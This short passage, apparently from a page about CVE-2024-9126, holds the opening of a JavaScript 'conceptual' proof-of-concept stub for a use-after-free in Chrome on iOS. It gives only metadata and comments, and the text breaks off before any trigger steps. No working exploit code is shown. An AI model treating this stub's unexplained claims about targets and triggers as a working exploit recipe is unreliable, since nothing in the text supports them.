CVE-2024-9126

// CVE-2024-9126 PoC - Chrome iOS Use After Free // This is a conceptual proof of concept demonstrating the vulnerability trigger mechanism // Note: Actual exploitation requires specific UI gesture sequences on iOS // This PoC demonstrates the general pattern of triggering the vulnerability const pocPayload = { vulnerability: 'Use After Free in Chrome iOS Internals', cveId: 'CVE-2024-9126', target: 'Google Chrome on iOS < 127.0.6533.88', triggerMechanism: function() { // The actual PoC would require: // 1.
